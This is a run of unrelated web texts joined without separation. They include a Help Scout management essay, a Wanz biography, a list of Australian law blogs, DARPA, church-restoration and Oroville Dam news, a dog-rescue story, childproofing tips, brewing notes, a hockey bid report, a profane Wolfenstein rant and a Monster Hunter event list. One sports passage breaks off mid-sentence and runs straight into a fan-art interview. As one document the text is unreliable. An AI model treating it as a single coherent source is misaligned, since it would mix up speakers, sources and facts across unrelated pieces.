If product-market fit is like oxygen for a startup, then your company’s structure determines how fast you can run. A lack of structure can lead to confusion about who is responsible for what, but too much structure can create bureaucratic bedlam and misaligned incentives.
One way dysfunction can rear its ugly head is when creative people are forced onto a “management” track to make the career progress they deserve. It’s common (and often unintentional) to over-privilege managers as you add more hierarchy.
Why does this happen? Because leading people scales better than creativity. It’s logical to assume that an employee leading 10 people adds greater value to the company than the best single performer on that team. That’s why great performers often end up in management, even when they aren’t excited about pursuing it.
It’s a bit like telling Steph Curry, “Nice job hitting 402 three-pointers this season. It looks like you’re ready to put on this suit and stand on the sidelines.”
Since “manager” and “individual contributor” both have a bit of stigma attached, we refer to these roles as “coaches” and “players” at Help Scout. There are exceptions, but most people discover their skills are largely in one role or the other.
Benefits of player and coach roles
These words reinforce important associations for us culturally. First, when you think of professional sports, players come first. Fans wear player jerseys for a reason.
Players (designers, engineers, writers) are the heart and soul of Help Scout. They embody what we want to be about. A coach’s role is to serve players, to help them seek excellence, and to ensure their team is greater than the sum of its parts. This speaks to the servant leadership we want from our coaches. There’s no room for “command and control” leaders in our company.
Coaches and players are also remarkably title-free. While external/LinkedIn titles need to exist in some way, I love keeping things simple internally. Titles have a way of giving a player or coach some sort of implied power or authority. I’ve seen organizations use a “title bump” to promote someone without actually giving that person a raise. That seems disingenuous, so we try to limit the use of titles internally as much as possible.
Players play; coaches coach
On a small team, even within a larger company, it’s often necessary for people to take on the role of a player-coach. Being a player-coach isn’t a bad thing, but we’ve found it’s usually suboptimal; context-switching between roles can be deeply distracting.
Once a team reaches six to eight people, we try to have any player-coaches choose the path they are most excited about, then hire for the role they leave. They don’t have to take a salary cut, and now they’re able to focus on a single role to be at their best.
Keeping these roles as separate as possible helps reduce excessive hierarchy. When coaches are in a dedicated role, they can serve anywhere from 8 to 12 people. Currently we have a 22-person engineering team and only two coaches. It feels flat, and I love that I can work directly with our coaches to get things done. With a hybrid consortium of coaches and player-coaches, you could end up having six people with direct reports on the same 22-person team, which is a telltale sign of superfluous management overhead.
While there will always be exceptions, we always try to stick with the distinction that “players play; coaches coach.”
Two types of leadership
In every company, there are two distinct types of leadership: people leadership and domain leadership.
Career ladders should reward leadership, but that shouldn’t be defined as how many direct reports someone has. If a designer on your team contributes to open source projects, writes and/or speaks regularly, and most importantly, raises the quality of work done by the entire team, they’re exemplifying domain leadership. The last thing we’d want to do is force the designer to become a manager, because they clearly have valuable skills as a maker.
When players lead, they should be able to climb the career ladder just like anyone else.
Requiring great players to manage people in order to make career progress puts both groups on the road to dysfunction, because those players will likely end up in less valuable roles.
How I learned the hard way
Denny Swindle is CTO and one of my co-founders at Help Scout. He’s one of the smartest and most creative engineers I’ve ever met, and he means a lot to our business. As our company grew early on, we did the natural thing and put Denny in charge of all the engineers we hired. Before we knew it, he was a coach.
Denny would tell you he wasn’t at his best as a coach. When he had to spend the bulk of his time managing projects and people, he wasn’t able to be the technical architect we all depend on, which created tension in our relationship. Thanks to some help from an outside advisor, we quickly realized that Denny’s passions and skills were most aligned with being a player. Leading people wasn’t the best or most desirable use of his time, but as a domain leader, he remains critical to our business.
We went on to hire a great VP of Engineering named Chris Brookins to lead the people on our engineering team, and in Chris, we found someone who complemented Denny in every way and freed him up to be at his best as a player.
Finding alignment on compensation
The player/coach system works best when everyone is climbing the same career and compensation ladder. At Help Scout our ladder takes the form of a salary formula. While individual salaries remain private, the formula and all the numbers are transparent within the company.
Players and coaches are measured on the same scale, which considers three factors:
Experience: A combination of excellence in your craft, your velocity, and your ability to contribute new ideas and best practices.
A combination of excellence in your craft, your velocity, and your ability to contribute new ideas and best practices. Impact: Your effect on everyday team productivity, on your peers, and on the business as a whole.
Your effect on everyday team productivity, on your peers, and on the business as a whole. Leadership: Your level of independence, influence, and how you use your skills to change the course of both your team and the business at large.
I’ve seen players and coaches demonstrate these things at high levels. It may look different, but the business value created is the same — therefore the compensation and career path should look the same as well.
We check in on career goals every six months. There are times when a player expresses desire to become a coach someday, and we want to give our support. However, since we try to have a player/coach ratio of about 7:1, there are also times when that opportunity lies outside of Help Scout. That’s OK too, and we’d prefer to have that sort of discussion out in the open.
Isn’t there still a ceiling for players?
If the ladder is truly based on the three factors above, there are some cases where the career ceiling can be lower for a player, but the truth is that every person in your company has some form of ceiling (CEOs included). We just like for the ceiling to be a place that pays you above market salary and empowers you to do work you are excited about every day.
You have to give players a path
Everyone at your company depends on significant opportunities for career progress.
Without career growth, you can’t expect to keep talented people in any role.
In some companies, the greatest players are given no choice but to set their sights on some VP-level job, where they have to abandon the work they love in order to manage people. I’m advocating for another path that gives them the same sense of purpose and career progress but also aligns with their skills and passions. It doesn’t form naturally, so as a leader, you must create that path for them.For other uses of "Wanz", see Wanz (disambiguation)
Michael "Mike" Wansley (born October 9, 1961),[1] better known by his stage names Wanz and TeeWanz, is an American singer, songwriter and rapper. He performs in various genres, including rock, R&B, soul, hip hop, and pop. He was featured on fellow Seattle-based duo Macklemore and Ryan Lewis' international hit single "Thrift Shop", which received two Grammy Awards for "Best Rap Performance" and "Best Rap Song".
Life and career [ edit ]
Wansley started performing in church, school, and on the street. He was introduced to jazz and pop music early and studied jazz at school. He has been performing since the early 1980s.[2] At 21, he formed a band called Boys Will Be Boys. Their repertoire included covers, including INXS songs.[3] In the early 90's Wansley went on to become the bass player in the Seattle band The Rangehoods, taking over for Bruce Hewes. He also was the bass player and singer for the original hard-funk band, Lifering, with David Scott Cameron on guitar, Jeff Stone on guitar, and David Nielsen on drums. He later on fronted a band called the Ghetto Monks and saw some success.[4] He sang hooks in recordings by D. Sane and Street Level Records for a decade. He also took part in the summer of 2011 in the opera Porgy and Bess.[5]
Wanz graduated from Lakes High School in Lakewood, Washington. Prior to the break-out performance of "Thrift Shop", Wanz was a full-time software test engineer[1] for companies such as Microsoft, Adapx, and Volt.[6][7] Sane called him and introduced him to Macklemore and Ryan Lewis to do the hook for "Thrift Shop" in 2012. Wanz has toured with Macklemore and Ryan Lewis and performed with them on The Ellen DeGeneres Show, Late Night with Jimmy Fallon and Saturday Night Live.[4] He is also featured in the official music video of the song. After the international success of the song, he is working on an EP of 6 tracks of his own[4] called Wander with the planned debut single from the EP to be "Tell Me One More Time".[8] Wanz has written a book about a series of sayings he has coined over the years, to be called #The Book of Wanz.[1]
In 2015, Wansley returned to his career as a quality-assurance engineer for the software company Tableau and has been working with at risk youth and other causes as well as working on new music.[7]
Discography [ edit ]
Albums [ edit ]
Extended play [ edit ]
Wander (2013)
Singles [ edit ]
Featured in
Appearances [ edit ]Law blogs are a useful way to access high quality legal analysis, supplementing more established scholarly resources; in this list you will find blogs that regularly post case summaries, news and legal analysis. This list is a little shorter than my earlier list (over at amicae curiae), it is more of my personal picks, these are mainly scholarly and I omitted many that are not apparently being updated. This list is not intended to be comprehensive. I have included the twitter names of the blogs, or their administrators, where possible.
Legal Education/Legal Profession
Amicae Curiae: “Girlfriends of the Court” Covers Women, Law, Legal Education and includes posts on legal and lawyering issues
Kat Gallow: Legal academic Kate Galloway writes on “property law, women and law, and contemporary legal issues, as well as legal education”. Earlier work is at Curl. @katgallow
Law Radio: Tune in to this blog and podcast to discover the unexpected world of law and its impact on society; and the effect of society on the practice and learning of law. @lawradioshow produced by @katgallow & @mscastan
Pleagle Trainer: Kris Greaves is a senior lecturer in professional education, he posts on lawyering, legal education, clinical legal education, practical legal training, teaching, learning, practice research, and scholarship. @pleagletrainer
Law and Justice: La Trobe Law School Blog: News, events, research and commentary from staff and students in the school, edited by law lecturer Marc Trabsky. @latrobelaw
LIV Young Lawyers Blog: Law Institute of Victoria’s Young Lawyers Blog.@LIVYoungLawyers
S|M| i |L|E – Social Media in Legal Education: a collaborative resource to promote and support the integration of social media into legal education. @socmedinlegaled
ADRResearchNetwork: Maintained by the ADR Research Network, a group of dispute resolution academics from across Australia. @adrresearch
Wellness For Law: “A community of legal academics, practitioners and students who are committed to: first, addressing the high levels of psychological distress experienced in law; and second, promoting wellness at law school, in the legal academy, and in the profession.” Maintained by legal academics. @wellnessforlaw
Survive Law: “Here you’ll find plenty of tips and tricks to survive those never-ending readings, obfuscating essay questions, killer exams and assessments, plus discussions of mental health and well-being, unorthodox and straight-shooting careers in law, and those all important ongoing odes to highlighters, coloured tabs, textbook burning and coffee to flow black through your veins.” @survivelaw
Jade World: Jade World is a site “which aggregates the world of blogging and tweeting”, it currently covers 40 blogs which feature legal commentary. @barnetjade
Ignorantia Juris Non Excusat: “A link blog for students and teachers of VCE Legal Studies, sharing news and legal professional updates, by Rob Corr. Useful for law students and teachers, and others interested in Australian legal news. @ignojuris
Public Law/Human Rights
Castan Centre for Human Rights Law Blog: “Commentary on human rights from Castan Centre Directors, Associates, staff members and special guests” maintained by the Castan Centre for Human Rights Law, Faculty of Law, Monash University. @Castancentre. See also Castan Centre Global Interns Blog: Follows Castan Centre for Human Rights Law ‘Global Interns’ students as they work for some of the world’s preeminent human rights law organisations.
Julian Burnside: Collected links, speeches and resources by Julian Burnside QC. @julianburnside
The Murphy Raid: Thoughts on security, terrorism and human rights, with a focus on Australia. Authored by Andrew Zammit. @andrew_zammit
Art and Human Rights: A tumblr about the intersections of art and human rights. Maintained by a human rights law professor.
AusPubLawBlog: the Australian Public Law Blog is a collaborative blogging project bringing you expert commentary and analysis on recent cases and legislative change as well as updates on the latest research and scholarship in Australian public law. Administered by academics at the Gilbert and Tobin Public Law Centre. @auspublaw
Public Law Research Community: “updates on the work of the public law research community at the [Adelaide] Law School” and “explanations of, and views on, recent events, including new cases, legislation and policies, and upcoming court challenges”. Maintained by Adelaide Law School, University of Adelaide.
Constitutional Critique: Constitutional critique and commentary on current issues, maintained by Professors Anne Twomey and Helen Irving of the Constitutional reform Unit at University of Sydney.
See also A Woman’s Constitution: Reflections on constitutional law and scholarship from a woman law professor’s perspective, maintained by Professor Helen Irving.
Opinions On High: The Melbourne Law School High Court Blog provides commentary on and analysis of recent High Court decisions, general information about the Court, as well as marking significant activities and events at the Court. @opinionsonhigh
Legal Theory in Australia: This blog covers legal theory and philosophy of law publications and events with relevance to Australia. Posts are by Dr Jonathan Crowe, University of Queensland. @Drjoncrowe
Antony Green’s Election Blog: ABC’s election expert, Antony Green, writes authoritively on Australian election law and practice. @antonygreenabc
Therapeutic Justice in the Mainstream: Promote the use of Therapeutic Jurisprudence (TJ) approaches in mainstream legal settings through a variety of activities. @tjmainstream
Australian Surrogacy and Adoption Blog: “Surrogacy and adoption law in Australia by Stephen Page, one of Australia’s leading surrogacy lawyers”.
See also Australian Gay and Lesbian Law Blog: Australian gay and lesbian law issues by an LGBTI friendly Brisbane lawyer. All about discrimination, parenting, property settlement, same sex domestic violence,same sex law issues. @stephenpagelaw
Media and law
Peter J Black’s Freedom to Differ: “A blog that speaks freely about law, politics and the internet” by Peter Black, legal academic. @peterjblack
Journlaw: Professor Mark Pearson’s commentary on legal aspects of journalism, social media and free speech issues. @journlaw
MsLods: Leanne O’Donnell, a senior lawyer with expertise in commercial litigation, copyright, telecommunications and social media maintains a weekly round up of law and technology news. @mslods
My earlier post that focusses on public law blogs is It’s more than the vibe; blogging the Constitution.
Are there other blogs you follow? add them in the comments below.
Melissa Castan, ‘30 Australian Law Blogs to Follow’ on Melissa Castan (18 September 1015) <https://melissacastan.wordpress.com/>
AdvertisementsMost DARPA challenges serve some sort of obvious military or intelligence purpose. But the agency has us scratching our heads over its latest competition, the Network Challenge: a $40,000 cash prize will go to the first person who finds the correct latitude and longitude of ten weather balloons located within the continental United States.
The DARPA Network Challenge kicked off on Thursday to commemorate the Internet's 40th anniversary, and marked four decades since the first message was sent over the Department of Defense's ARPANET.
Each of the 10 red balloons will be placed in hidden but publicly accessible locations during the daylight hours of December 5. Would-be balloon hunters can start registering for the challenge on December 1, and have until December 14 to submit balloon locations to the contest website.
DARPA has left only the vaguest clues as to its intentions, but it's clear that the mad science lab has a strong interest in leveraging the power of online social networking. The contest rules note that the agency "will compute aggregate statistics," and may contact contestants "to discuss the means and methods used in solving the challenge."
We're used to DARPA reaching for the stars on schemes such as space debris cleanup and creating cyborg beetles. And who wouldn't get behind self-regulated morphine delivery for wounded warfighters?
Still, this particular challenge can't help but remind us of the CIA's recent investment in a firm that monitors social networking. Perhaps the Department of Defense has even hit upon a more cost-effective approach for just $40,000 (and there's no prize for second place).
In any case, DARPA clearly hopes to mine useful surveillance or tracking techniques based on existing Internet tools. Future intelligence analysts and field agents might gather intel and communicate in ways that ape how social networks already find news nuggets, gossip tidbits and the latest hot spots. Which leads us to this question -- tweet much, Jack Bauer?
DARPAPhoto
ROME — The Santa Maria Antiqua church in the Roman forum, which dates to the first centuries of Christianity, is reopening to visitors after a 36-year restoration.
An exhibition that starts Thursday and runs until Sept. 11 traces the complex history of the church, partly buried by rubble from the Palatine Hill in an earthquake nearly 1,200 years ago before being rediscovered in 1900.
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Its centerpiece is a cult icon of the Virgin and Child, thought to date from the sixth century and believed to be the earliest such piece in Rome. After the earthquake, the icon had been transferred to another church in the forum.
Santa Maria Antiqua offers visitors a rare glimpse of the iconography of early Christian art, illustrated through a patchwork of wall frescoes dating from the sixth to the late eighth centuries. Maria Andaloro, a historian of byzantine and medieval art and the main curator of the exhibition, described the frescoes as forming “the spinal cord of medieval painting in Rome.”
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Digital reconstructions in the exhibition show how the frescoes changed at the hands of various artists through the centuries.
Santa Maria Antiqua was first consecrated in the sixth century. An earthquake in 847 partly buried it under rubble from the Palatine Hill. Forgotten for more than 1,000 years, the church was rediscovered and brought to light in 1900 in a complicated excavation that involved the demolition of Santa Maria Liberatrice, a 13th-century church later refurbished in the Baroque style that had been built over the remains of Santa Maria Antiqua.
It closed in 1980 for restoration, and was briefly open in 2012 to small groups by reservation while the restorations continued.Time-lapse video shows work moving along on damaged Oroville Dam spillway
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Repairs on the Oroville Dam's damaged spillway are progressing slowly but surely, as time-lapse video from the Department of Water Resources shows.
The spillway crumbled during the extremely wet winter and forced the evacuation of 180,000 people.
The time-lapse video was taken between June 26 and Aug. 22, according to the San Jose Mercury News. Though the footage shows progress being made as crews lay down and compact concrete, it's clear there's a lot more work to be done.
The main spillway crumbled in February and forced mass evacuations. Construction crews are hoping to wrap up the first phase on repair work by November. The main spillway crumbled in February and forced mass evacuations. Construction crews are hoping to wrap up the first phase on repair work by November. Photo: Rich Pedroncelli, Associated Press Photo: Rich Pedroncelli, Associated Press Image 1 of / 79 Caption Close Time-lapse video shows work moving along on damaged Oroville Dam spillway 1 / 79 Back to Gallery
Reconstruction of the main spillway is on track to be completed by Nov. 1, in time for California's rainiest months. Since the spillway's erosion in February, crews have been working to remove and rebuild 2,270 feet of the spillway. The upper part of the spillway will be patched for now, and then fully demolished and reconstructed in the summer of 2018.
OROVILLE DAM: A story of a catastrophe told through photos
To make the repairs, about 800,000 cubic yards of cement will be poured. That's twice the amount that was used to build the Bay Bridge's new skyway, the San Francisco Chronicle reported in June. Two concrete plants and a workforce of 500 are dedicated to helping the Department of Water Resources meet its November deadline.
The gaping hole in the dam's spillway was first spotted on Feb. 7. Heavy rains had filled Lake Oroville to capacity and, to avoid flooding, water was released down the dam's main spillway. As the water came down the spillway, the crater grew until a large stretch of the spillway completely eroded away.
DRONE'S EYE VIEW: Drone video shows repairs progressing at Oroville Dam
As heavy rains continued, water began to pour over the emergency spillway, a hillside that wasn't reinforced with concrete. The emergency spillway also began eroding, so officials ordered the evacuations of 180,000 residents who lived downriver.
Officials hope the emergency spillway won't ever be used again, but they're building a cutoff wall to prevent future erosion, just in case.
You can find more time-lapse videos of the repairs' progress on the Department of Water Resources YouTube page.
Read Alix Martichoux's latest stories and send her news tips at [email protected]– That could have been the dateline for many stories printed in newspapers and posted online about Billy Donovan’s coaching career.
As he sat at the podium in the Amway Center practice gym turned NCAA media workroom for the week, it could have been his work area. Banners hang commemorating two NBA southeast division championships, and an Eastern Conference championship, what if they were his? Maybe there would be more mementoes to former center Dwight Howard in the Magic’s palace of a basketball arena if Donovan could have convinced the center to stick around for a few more years instead of bolting for another team. These are all ifs, and as
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fantasies of the Harry Potter fandom (mine included). Nevertheless, I wouldn’t be drawing such art if I wasn’t fascinated by the human body (usually an idealized version of it) and by the expressions people make in their most vulnerable states. It’s emotional, it’s beautiful, and, of course, it’s hot! And I appreciate all art that makes people react.
MB: As shameless trash, we sure do love to react. Your artwork is magic. Thank you for talking about it with us.
View UpTheHill art at upthehillart.tumblr.com and upthehillnsfw.tumblr.com (NSFW). Follow UpTheHill on Instagram. A big thank you to UpTheHill for speaking with FAN/FIC Magazine.
Subscribe to FAN/FIC Magazine for more articles, interviews, and fic reviews.Pit Bull Saves Two Women From Deadly Cobra, Dies Wagging His Tail
Animal Stories from All-Creatures.org
FROM
Submitted to All-Creatures.org anonymously
October 2009
Photo: Marc Sabelita
Four-year-old "Chief", an American Pit Bull Terrier, dashed in front of a venomous snake which was poised to strike at 87-year-old Liberata la Victoria and her granddaughter Maria Victoria. Shielding the women from the attack, Chief saved them but died minutes later from the snake's bite.
"You think dogs will not be in heaven? I tell you, they will be there long before any of us." - Robert Louis Stevenson (1850-1894)
The children in the Fronteras household referred to their dog as Kuya ("big brother"), and he certainly proved it on the day he sacrificed his life to protect the family.
At around 2 p.m., "Chief", an American Pit Bull Terrier, rescued Liberata la Victoria, 87, and her granddaughter Maria Victoria Fronteras from a deadly cobra which had entered their house through an opening in the kitchen.
Liberata la Victoria and Chief had been watching TV on the sofa when suddenly Chief jumped up and alerted her to the presence of a cobra less than 10 feet away. Maria Victoria rushed in and pulled her grandmother into a separate room, hoping the snake would leave.
But when Maria Victoria later emerged from the room, she was terrified to find the cobra poised about two feet away. Equally startled, the cobra expanded its hood and appeared to be spitting venom as it prepared to strike.
"The snake was in front of us, maneuvering a deadly attack," says Maria Victoria. "I screamed out loud to ask for help."
That's when from "out of nowhere", Chief dashed between the cobra and the two women, using himself as a shield against the cobra's attacks. Chief then seized the cobra by the neck and slammed it into the floor, killing it.
But for Chief it was a Pyrrhic victory. In the struggle, he sustained a fatal bite to the jaw, and moments later he began gasping for breath and collapsed.
The family sought the help of a veterinarian, but they were told that nothing could be done. According to the vet, the bite was too close to Chief's brain, and the venom had already spread. Maria Victoria called her husband Marlone who, stunned by the news, rushed home immediately.
Ian de la Rama, a friend of the family, says it was less than 30 minutes from the time Chief had been bitten that he "went wobbly and lost control of his organs," urinating and defecating uncontrollably. Yet he still kept clinging to life.
It wasn't until Marlone arrived that Chief finally let go. Ian de la Rama describes, "Chief gave his two deep breaths and died. He was fighting and saving his last ounces of breath to see a glimpse of his master for the last two seconds of his life."
Ian adds that the last thing Chief did as he gazed up at Marlone was wag his tail.
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Return to: Animal StoriesAnd even just a few years ago, flat-screen TVs were too expensive to put on every conceivable surface in the house — especially dressers. That is no longer true, and that’s a problem.
“If a child climbs on the drawers, that TV can come crashing down,” Ms. Driscoll said. “There have been lots of injuries and deaths associated with furniture and TV tip-overs.”
As for solutions, Ms. Vallese suggested starting early. “The best time to do this is before the child comes,” she said, “and before the craziness of being a parent sets in.”
Start low, too, she added.
“Get down to a child’s vantage point, and look around,” she said. “What they see is very different from what we see.”
Since parenthood will eventually bring you to your knees anyway, think of it as training. (At least this type of parenting pain can be mitigated: QEP kneepads are about $10.)
As you crawl around the living room, notice the outlets. Old-school baby-proofers like me used plastic covers because they plugged tightly into outlets, making them hard for babies to remove. The problem, my panelists said, is that the covers are also hard for parents to remove, so they are less likely to reinsert them if they expect to use the outlet again shortly.
And when a parent puts that outlet cover down, Mr. Mays added, it becomes a major choking hazard. (Use an empty toilet-paper tube to answer choking questions. Objects that easily pass through one can choke your child.)
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To avoid such problems, Ms. Driscoll recommends outlet covers with horizontally sliding doors. They’re easier for parents to use, they needn’t be removed and reinserted, and they pose no choking danger. I found Safety 1st’s Swivel outlet cover easy to install and, at $2.25 each, inexpensive.
But, Mr. Mays warned, some retractable covers prevent plugs from fully engaging, which can lead to sparking and overheating with high-power items like hair dryers or vacuums. Another option is Leviton’s Decora tamper-resistant duplex receptacle, an outlet that requires no cover and costs about $2.50 at Home Depot.
When my children were younger, I fixated on the choking hazard posed by cords on our window treatments, but I overlooked the same danger from power cords. One remedy is a device that eliminates the slack in electric wires. (Safety 1st’s Cord Short’ner is about $4.)
Don’t use tacks to secure a cord, Mr. Mays added. Your child will yank them out, and they will naturally make their way to his mouth.
After your crawl, get up and stretch. Then grab a screwdriver and a bracket to secure the flat-screen TV to the wall. (The Safety 1st ProGrade flat-screen TV lock is $33.)
Next, secure any furniture more than 30 inches tall with wall restraints (Safety 1st furniture wall straps, about $6 for two). Screw the straps into a stud.
Now comes the most expensive childproofing task. Child-safety specialists now recommend cordless window treatments, and they mean completely cordless. Venetian blinds, in other words, won’t work because children can become entangled in the strings that control the slats.
For high-profile locations like living rooms, options include Hunter Douglas’s Vignette modern roman shades with LiteRise ($504 for the 30-by-40-inch model). For bedrooms, there are more basic alternatives, like Bali Today’s white fabric cordless cellular shade ($25 for a 23-by-48-inch window).
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The kitchen is arguably the most dangerous room in the house — with sharp utensils, pet food, toxic cleaners, ovens and other items that figure prominently on the pediatric E.R. ledger.
The operative word here: lockdown.
For drawers and cabinets, Mr. Mays said, parents should use latches that automatically reset upon closing, because people are apt to forget. One option is Safety 1st’s No-Drill deluxe latch kit (about $31 for four). Instead of scraping your fingers on the cabinet edge as with old-style plastic latches, you use a magnetic handle to release the latch. Keep the handle in a cup on the counter, and the system will work fine.
Good as they are, though, these latches are a hassle to install (and though labeled “no drill,” the instructions recommend screws if your children are “persistent”). So, budget at least a half-hour for each latch set or hire someone to do it for you.
In the bathroom, get a toilet lock. Buy one that automatically resets and — especially if you have boys — make sure its components won’t be hard to clean.(KidCo’s is $15.)
Put doorknob covers in bathrooms, too, and keep the doors shut when they are empty. Here, at last, is a category that hasn’t changed much in the past decade. For standard doorknobs, the squeeze-and-turn covers work fine. (KidCo’s cost about $6 for two; its cover for door levers, about $8 each.)
Finally, stairs.
People with two or three children may consider themselves old hands when it comes to child gates. I felt the same, until one of my children, at age 12, developed an attention span so short that she often forgot to shut the gate.
But resist the urge to get a self-closing model, Ms. Driscoll said; they are commonly pressure-mounted and so can become dislodged, and often have a threshold that people can trip on. (KidCo’s Angle Mount Safeway gate, a non-self-closer, costs about $70. )
Even if you follow all these childproofing steps, consider calling in a consultant. Every house poses different hazards — with fireplaces or wood-burning stoves, for instance — and first-time parents can’t see everything.
But at least you’ll have addressed most of the issues beforehand, so the consultant’s bill won’t be another thing that brings you to your knees.Rock Bottom Breweries are on the vegan watch list because we sometimes use isinglass. Some of our brewers use a product called Alginex before filtering so they don’t have to use as much diatomaceous earth (more on DE later). A well-made and lagered or aged beer will drop “bright,” but many brewpubs don’t have the time or tank space for such luxuries.
Strip it out
Filtration is a mechanical method of clarifying liquids in general and beverages in particular.
Sheet, plate, and frame filters are widely used in the craft beer industry. Sheets are paper embedded with keiselgur or diatomaceous earth (DE), a powdery mineral that is the fossilized remains of diatoms, a variety of marine algae. DE, graded by size and porosity, is used to filter different materials from the beer.
DE is also be used in lenticular, candle, and plate filters of various configurations to remove yeast and proteins from the beer. The downside to using this is disposal. It can be a carcinogenic health hazard if inhaled. It’s also sharp, even at a microscopic level. (You wouldn’t believe what DE looks like under a microscope.)
Another graded earth, perlite, which is volcanic, is also used as a filter aid. Like DE it is porous, but less prickly than DE. Some versions have a flavor all their own which can pass into the beer or wine.
Cross-flow or ultra filters are also gaining use in brewing: cartridges with a cluster of porous spaghetti-looking tubes embedded in them. Turbid beer is pumped through the cartridge and clarified beer passes through the walls of the tubes while the flow keeps the surface from blinding and it is recirculated back into the product tank. The unfiltered beer is continuously pushed through the cartridges until only protein and yeast are left behind. But because filtration can remove desirable flavor compounds from the beer, breweries who can afford to do so have switched to centrifuges.
Glycol in beer?
Glycol as ethyl or propylene is a common anti-freeze and as propylene, is used in the refrigeration systems of many small breweries. Glycol, whose freezing point is lower than water or beer, is employed as a circulating refrigerant to maintain tank jackets at the proper temperature. Attemperating the glycol in the refrigeration system is done via a compressor running Freon through air cooled coils or sometimes ice banks or water towers. Larger breweries tend to use ammonia as their refrigerant of choice.
But that glycol only ends up in the beer if a tank leaks. That’s an engineering problem. As part of our troubleshooting section in brewing school, we studied the example of a beer whose gravity increased after finishing fermentation. Propylene glycol is more concentrated than most wort or beer and tastes sweet. (I’ve gotten a mouthful fixing a refrigeration line and I don’t recommend drinking it, but it is an ingredient in many intimate lubricants.)
There is an ingredient used in making some beers that contains glycol. Grant Johnston was working on making a fruit beer that could be made quickly for the brewpub in Marin, CA. Grant asked a local company, Mane California Brands, which makes natural fruit flavoring, to design a series of concentrated fruit flavors that could be added to his Grundy tanks a gallon at a time. California Brands uses glycol as a carrier for the flavorings since alcohol added in those amounts would be against ATF (now TTB) rules. Personally I prefer using juice concentrate if I am not going to use fresh fruit, but at least one brewery I have worked for still uses natural fruit flavoring.
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Thanks for reading, friends! Namaste.Victoria and Vancouver are putting together a joint bid for the 2019 world junior hockey championship.
“We are partnering with the City of Victoria, City of Vancouver and Sport Hosting Vancouver,” said Hugh MacDonald, executive director of Sport Host Victoria.
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Victoria Mayor Lisa Helps and Tourism Victoria CEO Paul Nursey have provided letters of support, he said.
Canada was awarded the 2019 championship by the International Ice Hockey Federation.
The deadline for cities to bid is Aug. 31. Hockey Canada will announce the winner on Dec. 1.
“Edmonton will be our biggest competitor,” Macdonald said.
The Ontario cities of London and Windsor have also indicated plans to submit a joint bid.
The B.C. bid would see preliminary pool games played at Victoria’s Save-on-Foods Memorial Centre and at Vancouver venues, with the semifinals and final in Vancouver, likely at Pacific Coliseum or Rogers Arena.
The tournament begins on Boxing Day 2018.
“We are working on getting the information together and support required,” MacDonald said.
“This is a great opportunity for us and we are excited by it. We are even pushing for Victoria to host the Canadian team pre-tournament training camp.”
But all this won’t come cheap, even if the rewards could be great.
MacDonald said he expects Hockey Canada will want a guarantee “of between $5 million to $10 million” to host the event.
The money would be Hockey Canada’s share of revenue from such things as tickets, broadcast rights and merchandise.
Cam Hope, general manager of the Victoria Royals of the Western Hockey League, said it’s an opportunity worth pursuing.
“Victoria is the perfect community for something like this,” Hope said.
“Vancouver needed a secondary site and asked us to join in the bid, and we expressed interest.”
The 2017 world junior hockey championship, hosted by Montreal and Toronto, begins Dec. 26. The 2018 tournament is in Buffalo, New York.
[email protected] there was one highlight of Bethesda's E3 conference, it was definitely Wolfenstein II: The New Colossus, a game set in a world where Nazis won World War II and proceed to reign over humanity. It's sort of like Man in the High Castle, except with robots and zombies and robot zombies. The trailer is wild, weird, gory and overall rad as hell. But it turns out, not everyone is pleased that you play as the one leading the resistance.
Modern-day Nazis, who believe themselves to be of superior genetic stock and deserve to dominate the human race, are pissing their pants over a video game. Throughout YouTube, 4chan and Twitter, these whiny dickheads are complaining that a Wolfenstein game is about murdering the people who committed some of the worst atrocities in recent memory. When I say that they're pissing their pants, I mean this literally. I can prove that these taintsmears are currently sitting in their own soppy diapers, beyond a shadow of a doubt.
See, Wolfenstein games date back decades. The New Colossus is the sequel to Wolfenstein: The New Order, a game where you shoot Nazis, and that game was a reboot of a classic first-person shooter series where you shoot Nazis. The groundbreaking Wolfenstein 3-D itself was an update of Castle Wolfenstein, released way back in 1981, and one of the main features of that game was -- you guessed it -- killing Nazis. So for 35 years, Wolfenstein games have been all about murdering the scum of the Earth. Anyone who is suddenly upset about a new game in the series doing the exact same thing that it has done for a third of a century must actually be a tiny baby who still pees their pants.
But as we all know, being able to read and write at a first grade level isn't required for posting whiny comments on the internet. Which is why there are posts like these all over social media right now:
Some of these are probably trolls -- it's tough to take anything that "ILikeBigBoobies69" says at face value. But the comments are so widespread and in many cases so very nasty (I left out the ones with all the slurs, so like 95%) that it's clear that a ton of these comments are from genuine Nazi assholes.
Thankfully, the internet at large is fed the fuck up with this particular brand of fascist bullshit. For every one pathetic shriveled turd of a comment lamenting violence against Nazis, 10 more are roasting those miserable shitbirds. Even 4chan isn't standing for this reprehensible, cowardly garbage.
Honestly if the gamer Nazis didn't know that the new wolfenstein was likely to feature Nazis as enemies, they are fake gamer boys -- Labour voter liker (@WaldorfSixpence) June 12, 2017User Info: Kromlech06 Kromlech06 2 years ago #1
Fire Emblem: Warding Despair - Hyper Silver Rathalos -- Lodestar Set, Fire Emblem SNS
Ghosts 'n Goblins: Seeing Red - Hyper Rathalos -- Arthur Palico set
Blazing Thunder at USJ - Hyper Astalos & Hyper Glavenus - USJ Star Rook, USJ CB
It Would Be a Shame If... - Hyper Ceanataur - N/A (doesn't seem to give anything)
Mega Man: Yellow Devil - Hyper Royal Ludroth - Mega Man Palico set
Famitsu: Mizutsune Feature - Mizustune x3 - Famitstu weapons (none are all that good, sadly)
Dance of Dreams at USJ - Malfestio & Mizustune - USJ Blue Star, Starlight Gate
Fan Club: Arena Action - Volvidon, Lagombi, Bulldrome, Arzuros - Fan Club palico gear
Too Hot to Handle - Powderstone as a prowler - Streetpass/Courier cat set
CoroCoro: Lost in the Swamp - Ioprey and Ceanataurs - Zombie cat set
Palicos: Nikki, Zombie Cat
Halloween Pet Costume
Item Pack: Advanced Pack
No World's Strongest this time, but Lodestar and Hyper Silver Rathalos, Megaman, Arthur, and Star Rook to look forward to.
